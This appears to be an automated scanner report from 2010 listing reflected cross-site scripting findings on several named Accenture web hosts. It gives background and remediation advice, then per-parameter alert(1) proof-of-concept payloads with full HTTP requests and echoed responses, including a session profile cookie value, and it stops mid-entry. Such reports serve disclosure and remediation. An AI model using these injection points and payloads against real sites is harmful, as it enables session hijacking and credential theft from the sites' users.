Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
1.1. https://myoutlook.accenture.com/cgi-bin/accenture.cfg/php/enduser/acct_login.php [name of an arbitrarily supplied request parameter]next
Summary
Severity:
High
Confidence:
Certain
Host:
https://myoutlook.accenture.com
Path:
/cgi-bin/accenture.cfg/php/enduser/acct_login.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 725e2--><script>alert(1)</script>a0bf1b06325 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /cgi-bin/accenture.cfg/php/enduser/acct_login.php?725e2--><script>alert(1)</script>a0bf1b06325=1 HTTP/1.1 Host: myoutlook.accenture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 21 Nov 2010 17:16:20 GMT Server: Apache P3P: policyref="https://myoutlook.accenture.com/rnt/rnw/p3p/rnw_p3p_ref.xml",CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV" Set-Cookie: rnw_enduser_login_start=LOGIN_START; expires=Sun, 21-Nov-10 17:36:20 GMT RNT-Time: D=109449 t=1290359780465908 RNT-Machine: 10 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 32005
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <!-- Head ->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>- --> <head> <meta name="robots" content="noindex,nofollo ...[SNIP]... <input type="hidden" name="725e2--><script>alert(1)</script>a0bf1b06325" value="1" /> ...[SNIP]...
1.2. https://myoutlook.accenture.com/cgi-bin/accenture.cfg/php/enduser/acct_login.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://myoutlook.accenture.com
Path:
/cgi-bin/accenture.cfg/php/enduser/acct_login.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c8138"><script>alert(1)</script>e61542efaa3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /cgi-bin/accenture.cfg/php/enduser/acct_login.php?c8138"><script>alert(1)</script>e61542efaa3=1 HTTP/1.1 Host: myoutlook.accenture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 21 Nov 2010 17:16:18 GMT Server: Apache P3P: policyref="https://myoutlook.accenture.com/rnt/rnw/p3p/rnw_p3p_ref.xml",CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV" Set-Cookie: rnw_enduser_login_start=LOGIN_START; expires=Sun, 21-Nov-10 17:36:18 GMT RNT-Time: D=169171 t=1290359778593827 RNT-Machine: 04 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 32003
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <!-- Head ->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>- --> <head> <meta name="robots" content="noindex,nofollo ...[SNIP]... <input type="hidden" name="c8138"><script>alert(1)</script>e61542efaa3" value="1" /> ...[SNIP]...
The value of the c request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3851d</script><a>912587d3fc5 was submitted in the c parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /article_display.cfm?article_id=5100&c=ogpktl_100000053851d</script><a>912587d3fc5&n=ilc_1110 HTTP/1.1 Host: newsroom.accenture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"> <head><script type="text/javas ...[SNIP]... <!-- /* You may give each page an identifying name, server, and channel on the next lines. */ s.charSet="ISO-8859-1" s.pageName="newsroom/article_display.cfm?article_id=5100&c=ogpktl_100000053851d</script><a>912587d3fc5&n=ilc_1110" s.channel="accenture/newsroom/pressreleases" s.server="http://www.accenture.com"
/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s.t();if(s_code)doc ...[SNIP]...
The value of the n request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d19d7</script><a>acbabcf8454 was submitted in the n parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /article_display.cfm?article_id=5100&c=ogpktl_10000005&n=ilc_1110d19d7</script><a>acbabcf8454 HTTP/1.1 Host: newsroom.accenture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
/* You may give each page an identifying name, server, and channel on the next lines. */ s.charSet="ISO-8859-1" s.pageName="newsroom/article_display.cfm?article_id=5100&c=ogpktl_10000005&n=ilc_1110d19d7</script><a>acbabcf8454" s.channel="accenture/newsroom/pressreleases" s.server="http://www.accenture.com"
/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s.t();if(s_code)document.write ...[SNIP]...
1.5. http://newsroom.accenture.com/article_display.cfm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://newsroom.accenture.com
Path:
/article_display.cfm
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 458c4</script><a>52134726541 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /article_display.cfm?article_id=5052&458c4</script><a>52134726541=1 HTTP/1.1 Host: newsroom.accenture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"> <head><script type="text/javas ...[SNIP]... <!-- /* You may give each page an identifying name, server, and channel on the next lines. */ s.charSet="ISO-8859-1" s.pageName="newsroom/article_display.cfm?article_id=5052&458c4</script><a>52134726541=1" s.channel="accenture/newsroom/pressreleases" s.server="http://www.accenture.com"
/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s.t();if(s_code)document.wri ...[SNIP]...
1.6. http://newsroom.accenture.com/index.cfm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://newsroom.accenture.com
Path:
/index.cfm
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ec10a"><a>31f449be3b9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /index.cfm?ec10a"><a>31f449be3b9=1 HTTP/1.1 Host: newsroom.accenture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
1.7. http://newsroom.accenture.com/index.cfm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://newsroom.accenture.com
Path:
/index.cfm
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 595e2</script><a>14a24e4e77 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /index.cfm?595e2</script><a>14a24e4e77=1 HTTP/1.1 Host: newsroom.accenture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"> <head><script type="text/javas ...[SNIP]... <!-- /* You may give each page an identifying name, server, and channel on the next lines. */ s.charSet="ISO-8859-1" s.pageName="newsroom/index.cfm?595e2</script><a>14a24e4e77=1" s.channel="accenture/newsroom/home" s.server="http://www.accenture.com"
/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s.t();if(s_code)document.write(s_code ...[SNIP]...
The value of the path_info request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 74f0a"style%3d"x%3aexpression(alert(1))"137df798c96 was submitted in the path_info parameter. This input was echoed as 74f0a"style="x:expression(alert(1))"137df798c96 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /login.cfm?path_info=%2F404%2Ecfm%3F404%3Bhttp%3A%2F%2Fnewsroom%2Eaccenture%2Ecom%3A80%2Fpr%2Bcontacts%2F74f0a"style%3d"x%3aexpression(alert(1))"137df798c96 HTTP/1.1 Host: newsroom.accenture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the client request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 11cca"><script>alert(1)</script>fc0af4dfab4 was submitted in the client parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /accenture/search/search.aspx?filter=1&getfields=*&ie=utf8&output=xml_no_dtd&client=accenture11cca"><script>alert(1)</script>fc0af4dfab4&lr=&oe=utf8&proxycustom=&site=main_locations&search_in=main&search_main=all&search_location_text=&original_location=&q= HTTP/1.1 Host: www.accenture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: UrlTracker=ReferrerPageURL=EAN.aspx&Content=Thank you for updating your feature and newsletter subscriptions on accenture.com. <br/> Your current features are:&ThankYouPageTitle=Confirmation&ReferrerPageTitle=E-mail Alerts and Newsletters&ThankYouPageType=ean; Commerce2002_TestPersistentCookie=TestCookie; Commerce2002_TestSessionCookie=TestCookie; UserPref=Culture^en-US; FormSubmitURL=/Global/Registration/Accenture_Feedback_TY; MSCSProfile=B9CAF61F501232A3EE72991FDFC68CC405D4867ED45858AF0703C3FEDA7C1648E0D7976F6DAABFAF253FC9390B9B4A08EC215B53CDE54CF88D1B580F127CBD1D81340063F30B8FFEDC74F8161BCF11329C7D3B8498339A152118B951906347B01B9B3F1529B0DF9CE2A1E25128666629718AA404E0DE2E89D2C0735837A4915F;
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Content-Type: text/html; charset=utf-8 Date: Sun, 21 Nov 2010 16:48:37 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: UserPref=Culture^en-US; expires=Mon, 21-Nov-2011 16:48:37 GMT; path=/ Cache-Control: no-cache Expires: -1 Pragma: cache Pragma: no-cache Content-Length: 67197
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <title> Search</title> <meta content="Microsoft Visual Studio .NET 7.1" name="GENERATOR"> <meta content=" ...[SNIP]... n-US&banner=3EFEDDE7-C822-466D-A267-A21C9A8123B3&topnav=66DB0E54-2B4B-43BE-88B3-476A9B560C03&footer=9E541954-D5F8-4EC6-AF22-9FF473A55D70&channel=&original_location=&searchmode=Advanced&client=accenture11cca"><script>alert(1)</script>fc0af4dfab4&filter=1&getfields=*&ie=utf8&oe=utf8&output=xml_no_dtd&search_in=main&site=main_locations&lr=&q=&num=&sort=" Id="SiteSearchControlStandard_lbtnBasicAdvancedLink" Title="Advanced Search" Class="searchb ...[SNIP]...
The value of the filter request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 146f3"><script>alert(1)</script>2ce8741c39d was submitted in the filter parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /accenture/search/search.aspx?filter=1146f3"><script>alert(1)</script>2ce8741c39d&getfields=*&ie=utf8&output=xml_no_dtd&client=accenture&lr=&oe=utf8&proxycustom=&site=main_locations&search_in=main&search_main=all&search_location_text=&original_location=&q= HTTP/1.1 Host: www.accenture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: UrlTracker=ReferrerPageURL=EAN.aspx&Content=Thank you for updating your feature and newsletter subscriptions on accenture.com. <br/> Your current features are:&ThankYouPageTitle=Confirmation&ReferrerPageTitle=E-mail Alerts and Newsletters&ThankYouPageType=ean; Commerce2002_TestPersistentCookie=TestCookie; Commerce2002_TestSessionCookie=TestCookie; UserPref=Culture^en-US; FormSubmitURL=/Global/Registration/Accenture_Feedback_TY; MSCSProfile=B9CAF61F501232A3EE72991FDFC68CC405D4867ED45858AF0703C3FEDA7C1648E0D7976F6DAABFAF253FC9390B9B4A08EC215B53CDE54CF88D1B580F127CBD1D81340063F30B8FFEDC74F8161BCF11329C7D3B8498339A152118B951906347B01B9B3F1529B0DF9CE2A1E25128666629718AA404E0DE2E89D2C0735837A4915F;
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Content-Type: text/html; charset=utf-8 Date: Sun, 21 Nov 2010 16:48:33 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: UserPref=Culture^en-US; expires=Mon, 21-Nov-2011 16:48:32 GMT; path=/ Cache-Control: no-cache Expires: -1 Pragma: cache Pragma: no-cache Content-Length: 67197
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <title> Search</title> <meta content="Microsoft Visual Studio .NET 7.1" name="GENERATOR"> <meta content=" ...[SNIP]... er=3EFEDDE7-C822-466D-A267-A21C9A8123B3&topnav=66DB0E54-2B4B-43BE-88B3-476A9B560C03&footer=9E541954-D5F8-4EC6-AF22-9FF473A55D70&channel=&original_location=&searchmode=Advanced&client=accenture&filter=1146f3"><script>alert(1)</script>2ce8741c39d&getfields=*&ie=utf8&oe=utf8&output=xml_no_dtd&search_in=main&site=main_locations&lr=&q=&num=&sort=" Id="SiteSearchControlStandard_lbtnBasicAdvancedLink" Title="Advanced Search" Class="searchbod" > ...[SNIP]...
The value of the getfields request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 211ce"><script>alert(1)</script>d579d659514 was submitted in the getfields parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /accenture/search/search.aspx?filter=1&getfields=*211ce"><script>alert(1)</script>d579d659514&ie=utf8&output=xml_no_dtd&client=accenture&lr=&oe=utf8&proxycustom=&site=main_locations&search_in=main&search_main=all&search_location_text=&original_location=&q= HTTP/1.1 Host: www.accenture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: UrlTracker=ReferrerPageURL=EAN.aspx&Content=Thank you for updating your feature and newsletter subscriptions on accenture.com. <br/> Your current features are:&ThankYouPageTitle=Confirmation&ReferrerPageTitle=E-mail Alerts and Newsletters&ThankYouPageType=ean; Commerce2002_TestPersistentCookie=TestCookie; Commerce2002_TestSessionCookie=TestCookie; UserPref=Culture^en-US; FormSubmitURL=/Global/Registration/Accenture_Feedback_TY; MSCSProfile=B9CAF61F501232A3EE72991FDFC68CC405D4867ED45858AF0703C3FEDA7C1648E0D7976F6DAABFAF253FC9390B9B4A08EC215B53CDE54CF88D1B580F127CBD1D81340063F30B8FFEDC74F8161BCF11329C7D3B8498339A152118B951906347B01B9B3F1529B0DF9CE2A1E25128666629718AA404E0DE2E89D2C0735837A4915F;
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Content-Type: text/html; charset=utf-8 Date: Sun, 21 Nov 2010 16:48:34 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: UserPref=Culture^en-US; expires=Mon, 21-Nov-2011 16:48:33 GMT; path=/ Cache-Control: no-cache Expires: -1 Pragma: cache Pragma: no-cache Content-Length: 67196
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <title> Search</title> <meta content="Microsoft Visual Studio .NET 7.1" name="GENERATOR"> <meta content=" ...[SNIP]... C822-466D-A267-A21C9A8123B3&topnav=66DB0E54-2B4B-43BE-88B3-476A9B560C03&footer=9E541954-D5F8-4EC6-AF22-9FF473A55D70&channel=&original_location=&searchmode=Advanced&client=accenture&filter=1&getfields=*211ce"><script>alert(1)</script>d579d659514&ie=utf8&oe=utf8&output=xml_no_dtd&search_in=main&site=main_locations&lr=&q=&num=&sort=" Id="SiteSearchControlStandard_lbtnBasicAdvancedLink" Title="Advanced Search" Class="searchbod" > ...[SNIP]...
The value of the ie request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5302b"><script>alert(1)</script>4aa0ca64ae9 was submitted in the ie parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /accenture/search/search.aspx?filter=1&getfields=*&ie=utf85302b"><script>alert(1)</script>4aa0ca64ae9&output=xml_no_dtd&client=accenture&lr=&oe=utf8&proxycustom=&site=main_locations&search_in=main&search_main=all&search_location_text=&original_location=&q= HTTP/1.1 Host: www.accenture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: UrlTracker=ReferrerPageURL=EAN.aspx&Content=Thank you for updating your feature and newsletter subscriptions on accenture.com. <br/> Your current features are:&ThankYouPageTitle=Confirmation&ReferrerPageTitle=E-mail Alerts and Newsletters&ThankYouPageType=ean; Commerce2002_TestPersistentCookie=TestCookie; Commerce2002_TestSessionCookie=TestCookie; UserPref=Culture^en-US; FormSubmitURL=/Global/Registration/Accenture_Feedback_TY; MSCSProfile=B9CAF61F501232A3EE72991FDFC68CC405D4867ED45858AF0703C3FEDA7C1648E0D7976F6DAABFAF253FC9390B9B4A08EC215B53CDE54CF88D1B580F127CBD1D81340063F30B8FFEDC74F8161BCF11329C7D3B8498339A152118B951906347B01B9B3F1529B0DF9CE2A1E25128666629718AA404E0DE2E89D2C0735837A4915F;
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Content-Type: text/html; charset=utf-8 Date: Sun, 21 Nov 2010 16:48:35 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: UserPref=Culture^en-US; expires=Mon, 21-Nov-2011 16:48:35 GMT; path=/ Cache-Control: no-cache Expires: -1 Pragma: cache Pragma: no-cache Content-Length: 67196
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <title> Search</title> <meta content="Microsoft Visual Studio .NET 7.1" name="GENERATOR"> <meta content=" ...[SNIP]... D-A267-A21C9A8123B3&topnav=66DB0E54-2B4B-43BE-88B3-476A9B560C03&footer=9E541954-D5F8-4EC6-AF22-9FF473A55D70&channel=&original_location=&searchmode=Advanced&client=accenture&filter=1&getfields=*&ie=utf85302b"><script>alert(1)</script>4aa0ca64ae9&oe=utf8&output=xml_no_dtd&search_in=main&site=main_locations&lr=&q=&num=&sort=" Id="SiteSearchControlStandard_lbtnBasicAdvancedLink" Title="Advanced Search" Class="searchbod" > ...[SNIP]...
The value of the lr request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 41a4d"><script>alert(1)</script>ca532dd932b was submitted in the lr parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /accenture/search/search.aspx?filter=1&getfields=*&ie=utf8&output=xml_no_dtd&client=accenture&lr=41a4d"><script>alert(1)</script>ca532dd932b&oe=utf8&proxycustom=&site=main_locations&search_in=main&search_main=all&search_location_text=&original_location=&q= HTTP/1.1 Host: www.accenture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: UrlTracker=ReferrerPageURL=EAN.aspx&Content=Thank you for updating your feature and newsletter subscriptions on accenture.com. <br/> Your current features are:&ThankYouPageTitle=Confirmation&ReferrerPageTitle=E-mail Alerts and Newsletters&ThankYouPageType=ean; Commerce2002_TestPersistentCookie=TestCookie; Commerce2002_TestSessionCookie=TestCookie; UserPref=Culture^en-US; FormSubmitURL=/Global/Registration/Accenture_Feedback_TY; MSCSProfile=B9CAF61F501232A3EE72991FDFC68CC405D4867ED45858AF0703C3FEDA7C1648E0D7976F6DAABFAF253FC9390B9B4A08EC215B53CDE54CF88D1B580F127CBD1D81340063F30B8FFEDC74F8161BCF11329C7D3B8498339A152118B951906347B01B9B3F1529B0DF9CE2A1E25128666629718AA404E0DE2E89D2C0735837A4915F;
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Content-Type: text/html; charset=utf-8 Date: Sun, 21 Nov 2010 16:48:38 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: UserPref=Culture^en-US; expires=Mon, 21-Nov-2011 16:48:37 GMT; path=/ Cache-Control: no-cache Expires: -1 Pragma: cache Pragma: no-cache Content-Length: 67197
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <title> Search</title> <meta content="Microsoft Visual Studio .NET 7.1" name="GENERATOR"> <meta content=" ...[SNIP]... ooter=9E541954-D5F8-4EC6-AF22-9FF473A55D70&channel=&original_location=&searchmode=Advanced&client=accenture&filter=1&getfields=*&ie=utf8&oe=utf8&output=xml_no_dtd&search_in=main&site=main_locations&lr=41a4d"><script>alert(1)</script>ca532dd932b&q=&num=&sort=" Id="SiteSearchControlStandard_lbtnBasicAdvancedLink" Title="Advanced Search" Class="searchbod" > ...[SNIP]...
The value of the oe request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload adbc3"><script>alert(1)</script>6f380d9deb9 was submitted in the oe parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /accenture/search/search.aspx?filter=1&getfields=*&ie=utf8&output=xml_no_dtd&client=accenture&lr=&oe=utf8adbc3"><script>alert(1)</script>6f380d9deb9&proxycustom=&site=main_locations&search_in=main&search_main=all&search_location_text=&original_location=&q= HTTP/1.1 Host: www.accenture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: UrlTracker=ReferrerPageURL=EAN.aspx&Content=Thank you for updating your feature and newsletter subscriptions on accenture.com. <br/> Your current features are:&ThankYouPageTitle=Confirmation&ReferrerPageTitle=E-mail Alerts and Newsletters&ThankYouPageType=ean; Commerce2002_TestPersistentCookie=TestCookie; Commerce2002_TestSessionCookie=TestCookie; UserPref=Culture^en-US; FormSubmitURL=/Global/Registration/Accenture_Feedback_TY; MSCSProfile=B9CAF61F501232A3EE72991FDFC68CC405D4867ED45858AF0703C3FEDA7C1648E0D7976F6DAABFAF253FC9390B9B4A08EC215B53CDE54CF88D1B580F127CBD1D81340063F30B8FFEDC74F8161BCF11329C7D3B8498339A152118B951906347B01B9B3F1529B0DF9CE2A1E25128666629718AA404E0DE2E89D2C0735837A4915F;
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Content-Type: text/html; charset=utf-8 Date: Sun, 21 Nov 2010 16:48:39 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: UserPref=Culture^en-US; expires=Mon, 21-Nov-2011 16:48:38 GMT; path=/ Cache-Control: no-cache Expires: -1 Pragma: cache Pragma: no-cache Content-Length: 67198
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <title> Search</title> <meta content="Microsoft Visual Studio .NET 7.1" name="GENERATOR"> <meta content=" ...[SNIP]... 21C9A8123B3&topnav=66DB0E54-2B4B-43BE-88B3-476A9B560C03&footer=9E541954-D5F8-4EC6-AF22-9FF473A55D70&channel=&original_location=&searchmode=Advanced&client=accenture&filter=1&getfields=*&ie=utf8&oe=utf8adbc3"><script>alert(1)</script>6f380d9deb9&output=xml_no_dtd&search_in=main&site=main_locations&lr=&q=&num=&sort=" Id="SiteSearchControlStandard_lbtnBasicAdvancedLink" Title="Advanced Search" Class="searchbod" > ...[SNIP]...
The value of the output request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8b150"><script>alert(1)</script>a28362fa3c1 was submitted in the output parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
